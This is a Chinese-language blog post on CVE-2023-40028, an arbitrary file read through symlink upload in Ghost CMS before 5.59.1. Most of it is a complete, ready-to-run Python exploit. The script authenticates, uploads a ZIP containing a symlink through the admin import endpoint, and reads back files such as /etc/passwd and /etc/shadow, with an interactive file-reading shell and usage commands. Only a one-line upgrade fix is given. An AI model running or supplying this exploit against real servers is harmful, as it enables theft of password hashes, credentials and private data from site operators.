Ghost CMS 5.59.1任意文件读取漏洞分析与利用

本文详细分析了Ghost CMS 5.59.1版本中的任意文件读取漏洞(CVE-2023-40028),该漏洞允许认证用户通过上传符号链接文件读取主机操作系统上的任意文件,包含完整的Python利用代码和技术实现细节。

Ghost CMS 5.59.1 任意文件读取漏洞

漏洞信息

发布日期: 2023-09-20
漏洞作者: ibrahimsql
受影响版本: < 5.59.1
CVE编号: CVE-2023-40028
CWE分类: CWE-200
风险等级: 中等
CVSS评分: 6.5

漏洞描述

Ghost CMS 5.59.1之前版本存在一个安全漏洞,允许认证用户上传符号链接文件。攻击者可以利用此漏洞读取主机操作系统上的任意文件。该漏洞存在于文件上传机制中,未能正确验证符号链接文件,使得攻击者可以通过符号链接遍历访问预期目录结构之外的文件。

技术细节

漏洞原理

该漏洞的核心在于Ghost CMS的文件上传功能未能正确识别和处理符号链接文件。当用户上传包含符号链接的ZIP文件时,系统会解压并将符号链接文件保存在内容目录中,但不会验证这些文件是否为符号链接。

利用代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
import os
import tempfile
import zipfile
import random
import string
from typing import Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.file_content = ""
        self.status_code = 0
        self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read"
        self.severity = "Medium"

class GhostArbitraryFileRead:
    def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):
        self.ghost_url = ghost_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Language': 'en-US,en;q=0.9'
        })
        self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
    
    def authenticate(self) -> bool:
        """通过Ghost CMS管理面板进行身份验证"""
        login_data = {
            'username': self.username,
            'password': self.password
        }
        
        headers = {
            'Origin': self.ghost_url,
            'Accept-Version': 'v3.0',
            'Content-Type': 'application/json'
        }
        
        try:
            response = self.session.post(
                f"{self.api_url}/session/",
                json=login_data,
                headers=headers,
                timeout=10
            )
            
            if response.status_code == 201:
                if self.verbose:
                    print("[+] 成功通过Ghost CMS身份验证")
                return True
            else:
                if self.verbose:
                    print(f"[-] 身份验证失败: {response.status_code}")
                return False
                
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] 身份验证错误: {e}")
            return False
    
    def generate_random_name(self, length: int = 13) -> str:
        """生成随机字符串作为图片名称"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
    
    def create_exploit_zip(self, target_file: str) -> Optional[str]:
        """创建包含符号链接的利用ZIP文件"""
        try:
            # 创建临时目录
            temp_dir = tempfile.mkdtemp()
            exploit_dir = os.path.join(temp_dir, 'exploit')
            images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
            os.makedirs(images_dir, exist_ok=True)
            
            # 生成随机图片名称
            image_name = f"{self.generate_random_name()}.png"
            symlink_path = os.path.join(images_dir, image_name)
            
            # 创建指向目标文件的符号链接
            os.symlink(target_file, symlink_path)
            
            # 创建ZIP文件
            zip_path = os.path.join(temp_dir, 'exploit.zip')
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, dirs, files in os.walk(exploit_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arcname = os.path.relpath(file_path, temp_dir)
                        zipf.write(file_path, arcname)
            
            return zip_path, image_name
            
        except Exception as e:
            if self.verbose:
                print(f"[-] 创建利用ZIP文件错误: {e}")
            return None, None
    
    def upload_exploit(self, zip_path: str) -> bool:
        """上传利用ZIP文件到Ghost CMS"""
        try:
            headers = {
                'X-Ghost-Version': '5.58',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': self.ghost_url,
                'Referer': f"{self.ghost_url}/ghost/"
            }
            
            with open(zip_path, 'rb') as f:
                files = {
                    'importfile': ('exploit.zip', f, 'application/zip')
                }
                
                response = self.session.post(
                    f"{self.api_url}/db",
                    files=files,
                    headers=headers,
                    timeout=30
                )
                
                if response.status_code in [200, 201]:
                    if self.verbose:
                        print("[+] 利用ZIP文件上传成功")
                    return True
                else:
                    if self.verbose:
                        print(f"[-] 上传失败: {response.status_code}")
                    return False
                    
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] 上传错误: {e}")
            return False
    
    def read_file(self, target_file: str) -> ExploitResult:
        """使用符号链接上传读取任意文件"""
        result = ExploitResult()
        
        if not self.authenticate():
            return result
        
        if self.verbose:
            print(f"[*] 尝试读取文件: {target_file}")
        
        # 创建利用ZIP
        zip_path, image_name = self.create_exploit_zip(target_file)
        if not zip_path:
            return result
        
        try:
            # 上传利用文件
            if self.upload_exploit(zip_path):
                # 尝试访问符号链接文件
                file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
                
                response = self.session.get(file_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    result.success = True
                    result.file_content = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] 成功读取文件: {target_file}")
                        print(f"[+] 文件内容长度: {len(response.text)} 字节")
                else:
                    if self.verbose:
                        print(f"[-] 读取文件失败: {response.status_code}")
            
        except Exception as e:
            if self.verbose:
                print(f"[-] 利用过程中出错: {e}")
        
        finally:
            # 清理
            try:
                if zip_path and os.path.exists(zip_path):
                    os.remove(zip_path)
                temp_dir = os.path.dirname(zip_path) if zip_path else None
                if temp_dir and os.path.exists(temp_dir):
                    import shutil
                    shutil.rmtree(temp_dir)
            except:
                pass
        
        return result
    
    def interactive_shell(self):
        """用于文件读取的交互式shell"""
        print("\n=== CVE-2023-40028 Ghost CMS任意文件读取Shell ===")
        print("输入文件路径进行读取(输入'exit'退出)")
        
        while True:
            try:
                file_path = input("file> ").strip()
                
                if file_path.lower() == 'exit':
                    print("再见!")
                    break
                
                if not file_path:
                    print("请输入文件路径")
                    continue
                
                if ' ' in file_path:
                    print("请输入不带空格的完整文件路径")
                    continue
                
                result = self.read_file(file_path)
                
                if result.success:
                    print(f"\n--- {file_path} 的内容 ---")
                    print(result.file_content)
                    print("--- 文件结束 ---\n")
                else:
                    print(f"读取文件失败: {file_path}")
                    
            except KeyboardInterrupt:
                print("\n退出中...")
                break
            except Exception as e:
                print(f"错误: {e}")

def main():
    if len(sys.argv) != 4:
        print("用法: python3 CVE-2023-40028.py <ghost_url> <username> <password>")
        print("示例: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123")
        return
    
    ghost_url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)
    
    # 测试常见敏感文件
    test_files = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/proc/version",
        "/var/log/ghost/ghost.log"
    ]
    
    print("\n=== CVE-2023-40028 Ghost CMS任意文件读取漏洞利用 ===")
    print(f"目标: {ghost_url}")
    print(f"用户名: {username}")
    
    # 首先测试身份验证
    if not exploit.authenticate():
        print("[-] 身份验证失败。请检查凭据。")
        return
    
    print("\n[*] 测试常见敏感文件...")
    for test_file in test_files:
        result = exploit.read_file(test_file)
        if result.success:
            print(f"[+] 成功读取: {test_file}")
            print(f"    内容预览: {result.file_content[:100]}...")
        else:
            print(f"[-] 读取失败: {test_file}")
    
    # 启动交互式shell
    exploit.interactive_shell()

if __name__ == "__main__":
    main()

使用要求

  • Python 3.x
  • requests >= 2.28.1
  • zipfile
  • tempfile

使用方法

命令行使用

1
2
python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123
python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword

交互式使用

运行脚本后,可以使用交互式shell读取文件:

1
2
3
4
file> /etc/passwd
file> /etc/shadow
file> /var/log/ghost/ghost.log
file> exit

测试环境

  • Ubuntu 20.04 LTS
  • Windows 10
  • macOS Big Sur

修复建议

升级Ghost CMS到5.59.1或更高版本,该版本修复了符号链接文件上传的验证问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计